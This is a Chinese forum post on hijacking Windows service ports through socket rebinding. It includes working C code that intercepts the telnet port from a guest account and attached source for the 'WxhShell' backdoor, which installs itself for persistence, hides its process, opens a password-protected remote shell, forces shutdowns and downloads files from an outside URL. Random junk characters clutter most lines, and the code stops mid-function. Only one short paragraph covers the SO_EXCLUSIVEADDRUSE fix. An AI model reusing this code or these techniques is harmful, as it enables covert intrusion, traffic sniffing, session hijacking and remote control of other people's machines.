社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10368阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V 4qtaHf  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zS% m_,t  
eihZp  
  saddr.sin_family = AF_INET; kl{6]39  
(zah890//  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (5Ky6b9v  
b!~TAT&8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  *q"G }  
-qn[HXq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~%aJFs  
q]v,  
  这意味着什么?意味着可以进行如下的攻击: ,OBQv.D3>a  
t* z'c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5upShtC  
w yD%x(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I #l;~a<9z  
&,uC9$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J'7 y   
+>E5X4JC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q0|Z oP  
T8q[7Zn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :c;_a-69  
a"qR J-@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /Nqrvy=  
sQ(1/"gb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lS{4dvr?w  
lV7IHX1P  
  #include -c$z 2Q)  
  #include 92(~'5Qr  
  #include FrR9{YTA .  
  #include    0}-#b7eR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   RdkU2Y}V  
  int main() B007x{-L  
  { ^?Vq L\V5  
  WORD wVersionRequested; /Hk07:"c  
  DWORD ret; -RCv7U`  
  WSADATA wsaData; XZBj=2~-3  
  BOOL val; j&llrN  
  SOCKADDR_IN saddr; ftW{C1,U7  
  SOCKADDR_IN scaddr; +G\0L_B  
  int err; M 5rwoyn  
  SOCKET s; (+$ol'i  
  SOCKET sc; \6c8z/O7   
  int caddsize; ) :}Fu  
  HANDLE mt; w&+\Wo;([b  
  DWORD tid;   ;E2~L  
  wVersionRequested = MAKEWORD( 2, 2 ); (.oaMA"B  
  err = WSAStartup( wVersionRequested, &wsaData ); [,\i[[<  
  if ( err != 0 ) { ?7rD42\8H  
  printf("error!WSAStartup failed!\n"); hwZ6 .  
  return -1; 5^o3y.J?P  
  } .r6YrB@['  
  saddr.sin_family = AF_INET; p9w%kM?  
   _}z_yu#jY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ox JGJ  
I W8.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g?$e^ls  
  saddr.sin_port = htons(23); z-)*Q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7n<#y;wo  
  { }RDb1~6C  
  printf("error!socket failed!\n"); Z3I L8  
  return -1; hC|KH}aCR)  
  } IKtiR8  
  val = TRUE; G#g{3}dcK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 rkP4<E-M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q'fPNQg  
  { Kd TE{].d  
  printf("error!setsockopt failed!\n"); dd19z%  
  return -1; Cl-S=q@>V  
  } G$S1#F -  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; cC' ^T6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 l92!2$]b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $ #t|(\  
8t--#sDy{0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) s.bT[0Vl  
  { 0~:e SWz=  
  ret=GetLastError(); M@5KoMsB9  
  printf("error!bind failed!\n"); b3P9Yoj-  
  return -1; GW:\l~ d  
  } 8_+vb#M  
  listen(s,2); @>gD1Q7v b  
  while(1) #Ul4&QVeg  
  { gRw.AXR a  
  caddsize = sizeof(scaddr); ZtKQ]jV&@  
  //接受连接请求 0K`ZX&K?W  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B>ge, }{  
  if(sc!=INVALID_SOCKET) '[n)N@h  
  { EK:Y2WZ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p5D5%B/  
  if(mt==NULL) $]Rl__;  
  { oMz/sL'u  
  printf("Thread Creat Failed!\n"); '?z9,oW{  
  break; nP5d?  
  } ?L8&(&1@VD  
  } zL6 \p)y  
  CloseHandle(mt); !k%l+I3J[  
  } Gmqs`{tc  
  closesocket(s); kf}F}Ad:%  
  WSACleanup(); A-X  
  return 0; Ny]'RS-  
  }   JO}#f+w}  
  DWORD WINAPI ClientThread(LPVOID lpParam) f<) Ro$   
  { (0X,Qwx  
  SOCKET ss = (SOCKET)lpParam; %GNUnr$  
  SOCKET sc; 5#yJK>a7  
  unsigned char buf[4096]; HDa~7wE  
  SOCKADDR_IN saddr; xcAF  
  long num; V@ LN 1|  
  DWORD val; .A )\F",X  
  DWORD ret; 0,;E.Py?.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 d*]Dv,#X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NW }>pb9  
  saddr.sin_family = AF_INET; **Qe`}E:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wBg<Q{J  
  saddr.sin_port = htons(23); M-}j9,oR`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J(3gT }z-  
  { NvEm,E\|  
  printf("error!socket failed!\n"); <Gbn PG?  
  return -1; E`A<]dAoK  
  } E1$Hu{  
  val = 100; 7Qm;g-)f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D{Hh#x8Y  
  { :;" aUHU'  
  ret = GetLastError(); Dq0-Kf,^  
  return -1; [] GthF  
  } <`oCz Q1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ws*~$x?7  
  { ,\\%EZ%a  
  ret = GetLastError(); r78u=r  
  return -1; s_S<gR  
  } >reaIBT  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B2ek&<I7N  
  { c n\k`8  
  printf("error!socket connect failed!\n"); xI/{)I1f  
  closesocket(sc); zbF:R[)  
  closesocket(ss); ^yEj]]6  
  return -1; 4jC4X*  
  } >%PL_<Vbv  
  while(1) [dSDg2]  
  { UFzM#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7yq7a[Ra  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lpM>}0v   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 w^:V."}-$  
  num = recv(ss,buf,4096,0); oTplxF1  
  if(num>0) 3s+<    
  send(sc,buf,num,0); ~8KF<2c   
  else if(num==0) i6!T`Kau  
  break; aTL8l.c2  
  num = recv(sc,buf,4096,0); b0~H>cnA  
  if(num>0) p=mCK@  
  send(ss,buf,num,0); v!pj v%  
  else if(num==0) l|R<F;|  
  break; jc%{a*n"vr  
  } :Y}Y&mA4  
  closesocket(ss); |.Y@^z;P3  
  closesocket(sc); I,CAFq  
  return 0 ; cJ7{4YK_#/  
  } UX-_{I QW  
@);!x41f  
73^ T*  
========================================================== imJ[:E  
F_p3:l  
下边附上一个代码,,WXhSHELL [9db=$v8$  
';;p8bv+  
========================================================== .N zW@|  
xN{"%>Mx  
#include "stdafx.h"  c{f:5 p  
 K$37}S5  
#include <stdio.h> o+"0.B  
#include <string.h> zAkc 67:  
#include <windows.h> `wn<3#  
#include <winsock2.h> 0i5T] )r  
#include <winsvc.h> 8osS OOzM  
#include <urlmon.h> A;kw}!  
CN8@c!mB  
#pragma comment (lib, "Ws2_32.lib") 3$96+A^M*  
#pragma comment (lib, "urlmon.lib") oUKBb&&O  
^hl]s?"3  
#define MAX_USER   100 // 最大客户端连接数 g|v1qfK  
#define BUF_SOCK   200 // sock buffer !TV_dKa  
#define KEY_BUFF   255 // 输入 buffer ^.Ih,@N6  
%ojR?=ON  
#define REBOOT     0   // 重启 niBjq#bJi  
#define SHUTDOWN   1   // 关机 |%2/I>o  
9QX ~a X  
#define DEF_PORT   5000 // 监听端口 )$l9xx[  
z'\}/k+  
#define REG_LEN     16   // 注册表键长度 pjKl)q  
#define SVC_LEN     80   // NT服务名长度 $p}~,Kp/  
AihL>a%  
// 从dll定义API qmue!Fv#g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]@ Sc}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O#Zs3k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p^4;fD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /]MB6E7&  
V. bH$@ej  
// wxhshell配置信息 n }9Msen  
struct WSCFG { gvTOC F  
  int ws_port;         // 监听端口 zT4ulXN  
  char ws_passstr[REG_LEN]; // 口令 /BjGAa(  
  int ws_autoins;       // 安装标记, 1=yes 0=no w.T=Lzp  
  char ws_regname[REG_LEN]; // 注册表键名 *Sz{DE1U  
  char ws_svcname[REG_LEN]; // 服务名 @ (u?=x;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 },Y; (n'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JXSqtk=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )v!lPpe8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zV_-rf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QNa}M{5>h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ip7FD9 ^  
;}>g1&q  
}; HgSmAziv  
>Xh(`^}SQ*  
// default Wxhshell configuration )-6s7  
struct WSCFG wscfg={DEF_PORT, /n(bThDH  
    "xuhuanlingzhe",  i_E#cU  
    1, _r?;lnWx@  
    "Wxhshell", O)RzNfI^`N  
    "Wxhshell", JV?RgFy  
            "WxhShell Service", @aiLG wh  
    "Wrsky Windows CmdShell Service", F~Z 0  
    "Please Input Your Password: ", [K)1!KK,L  
  1, H/@M  
  "http://www.wrsky.com/wxhshell.exe", ,@'){V  
  "Wxhshell.exe" LD~uI  
    }; x@ s`;qz  
+U_-Lq )  
// 消息定义模块 \xO2WD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X!+Mgh6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6JFDRsX>)?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DKVt8/vq  
char *msg_ws_ext="\n\rExit."; {OhkuON  
char *msg_ws_end="\n\rQuit."; H-cBXp5z  
char *msg_ws_boot="\n\rReboot..."; R !%m5Q?5  
char *msg_ws_poff="\n\rShutdown..."; >NOYa3  
char *msg_ws_down="\n\rSave to "; hRy }G'0  
]6VUqFO)  
char *msg_ws_err="\n\rErr!"; t0V_ c'm  
char *msg_ws_ok="\n\rOK!"; }DUDA%U  
" ;R3260  
char ExeFile[MAX_PATH]; PRk%C0`  
int nUser = 0; ^; V>}08  
HANDLE handles[MAX_USER]; 4h_4jqf=pU  
int OsIsNt; CF}Nom)  
+}-W.H%`0  
SERVICE_STATUS       serviceStatus; zloaU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SJ[@fUxO)  
=<'iLQb1  
// 函数声明 0rm;)[SjF  
int Install(void); b gc<)=  
int Uninstall(void); ;~@PYIp  
int DownloadFile(char *sURL, SOCKET wsh); rIFC#Jd/  
int Boot(int flag); }AsF\W+5  
void HideProc(void); :D+ SY  
int GetOsVer(void); gJ GBD9wC  
int Wxhshell(SOCKET wsl); nog\,NT  
void TalkWithClient(void *cs); *r?51*J  
int CmdShell(SOCKET sock); + $a:X  
int StartFromService(void); Obc3^pV&  
int StartWxhshell(LPSTR lpCmdLine); HlL@{<  
2-E71-J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {O&liU4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dYqDL<se/I  
 hL{B9?  
// 数据结构和表定义 vK.4JOlRF  
SERVICE_TABLE_ENTRY DispatchTable[] = 3D09P5$W  
{ -L'K  
{wscfg.ws_svcname, NTServiceMain}, 4^NHf|UJH  
{NULL, NULL} "0 PN  
}; W &wDH  
7}1Kafs  
// 自我安装 +heS\I_Mp  
int Install(void) sV'.Bomq  
{ ' bw,K*  
  char svExeFile[MAX_PATH]; CG>2 ,pP,  
  HKEY key; &N7:k+E  
  strcpy(svExeFile,ExeFile); <:{[Zvl'k  
?a0}^:6  
// 如果是win9x系统,修改注册表设为自启动 n#4J]Z@  
if(!OsIsNt) { 0^lL,rC   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :*Ggz|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h7]]F{r5  
  RegCloseKey(key); @1ta`7#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .9fluAG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bSmaE7  
  RegCloseKey(key); }NBJ T4R  
  return 0; iCSM1W3  
    } Y 6Qb_X:  
  } 3N%Ev o  
} UuqnL{  
else { 8kc'|F\  
.x$T a l  
// 如果是NT以上系统,安装为系统服务 /~rO2]rZ@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v8k ^=A:  
if (schSCManager!=0) *4^]?Y\*  
{ [<fLPa  
  SC_HANDLE schService = CreateService 0o=)&%G  
  ( Z%9^6kdY  
  schSCManager, lg  
  wscfg.ws_svcname, +95dz?~  
  wscfg.ws_svcdisp, }7 z+  
  SERVICE_ALL_ACCESS, $)7f%II  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h-rj  
  SERVICE_AUTO_START, 5'-9?-S"  
  SERVICE_ERROR_NORMAL, I2lZ>3X{  
  svExeFile, ulSTR f  
  NULL, h%^kA@3F  
  NULL, 6:z&ukq E  
  NULL, 3L]^x9Cu)  
  NULL, RH4n0 =2  
  NULL "l,EcZRjTz  
  ); Lm{ o=v  
  if (schService!=0) ,$qs9b~  
  { H.[&gm}p>  
  CloseServiceHandle(schService); <({eOh5 N  
  CloseServiceHandle(schSCManager); {]Iu">*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %1 ^jd\  
  strcat(svExeFile,wscfg.ws_svcname); m.a1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5a_!&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *!Y3N<>!  
  RegCloseKey(key); d lLk4a+  
  return 0; !X <n:J  
    } }3_G|  
  } <T/L.>p4  
  CloseServiceHandle(schSCManager); Kcdd=2 [T  
} >T^v4A  
} r8?Lr-;  
'htA! KHF  
return 1; '^(v8lCu  
} <~X6D?  
+<WT$ddK=5  
// 自我卸载 KR(ftG'  
int Uninstall(void) t8N9/DZ}Q  
{ 1p<?S}zg@  
  HKEY key;  Q<ExfJm  
QGj5\{E_  
if(!OsIsNt) { gq1Y]t|4F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5nq-b@?L  
  RegDeleteValue(key,wscfg.ws_regname); UnF4RF:A2&  
  RegCloseKey(key); VEEeQy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y" -{6{3  
  RegDeleteValue(key,wscfg.ws_regname); 7[1 R}G V  
  RegCloseKey(key); 3}1+"? s  
  return 0; >qvD3 9w  
  } ujqktrhuLb  
} W1`ZS*12D  
} Qu\l$/  
else { 5o ^=~  
qWRMwvN{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [ =2In;  
if (schSCManager!=0) 7Ej#7\TB]  
{ ^Jc0c)*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6b01xu(A[  
  if (schService!=0) Y1+lk^  
  { XRz6Yf(/  
  if(DeleteService(schService)!=0) { ^ 6|"=+cO\  
  CloseServiceHandle(schService); \)uad5`N  
  CloseServiceHandle(schSCManager); SZD2'UaG  
  return 0; 1AV1W_"  
  } ^v5hr>m  
  CloseServiceHandle(schService); [te7 uZv-  
  } 5g2+Ar(  
  CloseServiceHandle(schSCManager); 1H 6Wrik  
} kDa#yN\  
} +rP<m  
:8wF0n-'  
return 1; Ud*[2Oi|R  
} <ijmkNVS  
Z[bC@y[Wb  
// 从指定url下载文件  "<h#Z(  
int DownloadFile(char *sURL, SOCKET wsh) N|vJrye  
{ X}Z%@tL  
  HRESULT hr; .Q)"F /  
char seps[]= "/"; K+OU~SED%F  
char *token; k ,(:[3J  
char *file; @+#p: sE  
char myURL[MAX_PATH]; += ~}PF  
char myFILE[MAX_PATH]; HbDB?s<  
3*JybMo"  
strcpy(myURL,sURL); >G~;2K[  
  token=strtok(myURL,seps); W)hby`k  
  while(token!=NULL) #7ZBbq3=  
  { /n:fxdhe  
    file=token; rNC3h"i\  
  token=strtok(NULL,seps); ra2q. H  
  } )ixE  
)d`$2D&iY  
GetCurrentDirectory(MAX_PATH,myFILE); !P3|T\|]+  
strcat(myFILE, "\\"); M0 8Y  
strcat(myFILE, file); oU?X"B9  
  send(wsh,myFILE,strlen(myFILE),0); W^Y(FUy~  
send(wsh,"...",3,0); W%cPX0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b7j#a#  
  if(hr==S_OK) d6&tz!f  
return 0; 9Wrcl ai  
else 9 <m j@bI$  
return 1; GqxK|G1  
x=N;>  
} @R{&>Q:.  
P@?CQvMx  
// 系统电源模块 ':$a6f &T  
int Boot(int flag) X5[sw;rk  
{ T9?_ `h  
  HANDLE hToken; }2oJ  
  TOKEN_PRIVILEGES tkp; O 9)8a]  
N *>; '  
  if(OsIsNt) { `<~P>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q% 9oGYjvQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /WVMT]T6^,  
    tkp.PrivilegeCount = 1; t%@ pyK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ek!N eu>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E5Jk+6EcMa  
if(flag==REBOOT) { 8:NHPHxB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?,C,q5 T\  
  return 0; cn:VEF:l  
} 1j,Y  
else { p\\q[6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I5?LD=tt  
  return 0; 9~I WGj?  
} ]:fHvx_?`7  
  } ApB0)N  
  else { W:J00rsv=`  
if(flag==REBOOT) { MJ08@xGa  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xpwzzO*U  
  return 0; cTp+M L  
} bxq`E!]  
else { $*R9LPpk+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q-5wI$=  
  return 0; bmpB$@  
} e: tp7w 4  
} ,#l oVLy  
.*"IJD9  
return 1; U+ =q_ <  
} rfoCYsX'  
o9>X"5CmX  
// win9x进程隐藏模块 7F\g3^ z9`  
void HideProc(void) oR)7 \;g  
{ i,T{SV  
N0PX<$y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YeJdkt  
  if ( hKernel != NULL ) p4 PFoFo2  
  { dD%m=x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r%i{a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eSU8/9B  
    FreeLibrary(hKernel); n3\vq3^?  
  } vcHDFi  
dX=^>9hN/  
return; qFk(UazN  
} is$d<Y&F  
m<4Lo0?nS  
// 获取操作系统版本 add-]2`  
int GetOsVer(void) L6.R?4B   
{ /o2eKx  
  OSVERSIONINFO winfo; HZ3<}`P_W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i1C'  
  GetVersionEx(&winfo); <0m;|Ai'W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R?Qou!*]  
  return 1; 9HP--Z=  
  else H@:@zD!G[  
  return 0; ;21JM2JI8  
} u 6+  
JV>OmUAk  
// 客户端句柄模块 Pt+_0OsR  
int Wxhshell(SOCKET wsl) kn.z8%^(  
{  M > <   
  SOCKET wsh; </QSMs  
  struct sockaddr_in client; .9ne'Ta  
  DWORD myID; *#_jTwQe  
K]l) z* I  
  while(nUser<MAX_USER) plq\D.C  
{ 14R))Dz"  
  int nSize=sizeof(client); r[~$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .B*)A.   
  if(wsh==INVALID_SOCKET) return 1; sBwgl9  
Ih0GzyU*4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  ^8iy(  
if(handles[nUser]==0) ITV}f#  
  closesocket(wsh); hGeRM4zVZZ  
else eu =2a>  
  nUser++; xjpW<-)MLf  
  } 53QP~[F8R]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :`K;0`C +  
s5HbuyR^  
  return 0; JY,+eD  
} !IS ,[  
c LJCLKJ  
// 关闭 socket 'zaB5d~l  
void CloseIt(SOCKET wsh) ;b^@o,=  
{ G r)+O  
closesocket(wsh); ]rS+v^@QH  
nUser--; C1J'. !  
ExitThread(0); -_3.]o/J  
} b%BwGS(z  
:vjbuqN]  
// 客户端请求句柄 {~SR>I3sv  
void TalkWithClient(void *cs) oaHBz_pg  
{ ~EBZlTN  
*K;~V  
  SOCKET wsh=(SOCKET)cs; 2+.m44>Ti  
  char pwd[SVC_LEN]; =ZQIpc  
  char cmd[KEY_BUFF]; IYWD_}_ $  
char chr[1]; A{QS+fa/  
int i,j; 19S,>  
 x^"OH  
  while (nUser < MAX_USER) { (:1 j-  
Vk"QcW  
if(wscfg.ws_passstr) { = 4If7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [,dsV d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :MVD83?4  
  //ZeroMemory(pwd,KEY_BUFF); a'Z"Yz^Eo  
      i=0; OQq7|dZu  
  while(i<SVC_LEN) { F2&KTK  
G>Q{[m$  
  // 设置超时 <  5ow81  
  fd_set FdRead; . XmD[=  
  struct timeval TimeOut; :X^B1z3X4  
  FD_ZERO(&FdRead); Buo1o&&  
  FD_SET(wsh,&FdRead); L4!$bB~L-  
  TimeOut.tv_sec=8;  7;XdTx  
  TimeOut.tv_usec=0; _AFgx8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jHd~yCq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pr2d}~q4{  
AXyuXB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SG~R!kN}Q  
  pwd=chr[0]; cH#` f4  
  if(chr[0]==0xd || chr[0]==0xa) { =<g\B?s]  
  pwd=0; C}!|K0t?  
  break; [8"nRlXH  
  } WIg"m[aIs  
  i++; NS1[-ng  
    } ,MLPVDN*D  
@*oi1_q  
  // 如果是非法用户,关闭 socket TzOf&cs/r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tFGLqR%/  
} "Xm'(c(  
`27? f$,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [\!S-:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gnv4.f:  
[L8gG.wy  
while(1) { u!Z&c7kPI  
7 MfpZgC  
  ZeroMemory(cmd,KEY_BUFF); u$0>K,f  
8S0)_L#S  
      // 自动支持客户端 telnet标准   w4OVfTlN  
  j=0; MV/JZ;55  
  while(j<KEY_BUFF) { .JzO f[g5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  np~oF  
  cmd[j]=chr[0]; %spR7J\"/  
  if(chr[0]==0xa || chr[0]==0xd) { |$D^LY  
  cmd[j]=0; 1}(g=S  
  break; Z#F2<*+Pe  
  } FOZqN K  
  j++; p\(%bO   
    } QKVZ![Y!s  
M4QMD;Ez  
  // 下载文件 DI*xf Kt  
  if(strstr(cmd,"http://")) { k8h$#@^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MW p^.  
  if(DownloadFile(cmd,wsh)) Bp}<H<@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s~GO-v7  
  else ]Z~H9!%t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c!I> _PD`&  
  } O9opX\9  
  else { [P[syi#]t  
i$ Zhk1  
    switch(cmd[0]) { sl)_HA7G  
  !D1F4v[c=  
  // 帮助 {&/q\UQ  
  case '?': { *u-TNg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 13B[m p4  
    break; Z!#zr@'k  
  } d/;oNC+  
  // 安装 }ulFW]A^7  
  case 'i': { 39u!j|VH  
    if(Install()) utQ_!3u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s,0,w--=  
    else e'u 9 SpJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T IS}'c'C  
    break; w{0UA6+  
    } ;VvqKyUh7`  
  // 卸载 #j@Su )+  
  case 'r': { /9 [nogP  
    if(Uninstall()) eX}uZR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VDscZt)y8  
    else C[~b6 UP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gvz&ppcG  
    break; sB /*gO  
    } iLFF "Hs  
  // 显示 wxhshell 所在路径 5^tL#  
  case 'p': { +lE 9*Gs_$  
    char svExeFile[MAX_PATH]; yaeX-'(Fv[  
    strcpy(svExeFile,"\n\r"); k{9s>l~'  
      strcat(svExeFile,ExeFile); Wvcj\2'yd  
        send(wsh,svExeFile,strlen(svExeFile),0); y*P[* /g  
    break; c/pT2/y  
    } lqu1H&  
  // 重启 HmQuRW  
  case 'b': { Y,?rykRj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @ j' I  
    if(Boot(REBOOT)) ji">} -  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h(>4%hF  
    else { ^f>+5G  
    closesocket(wsh); Y0U:i.)  
    ExitThread(0); p=eSHs{>A  
    } M,6m*  
    break; (/c9v8Pr(7  
    } U{HJNftdpm  
  // 关机 sHKT]^7  
  case 'd': { ca-|G'q  
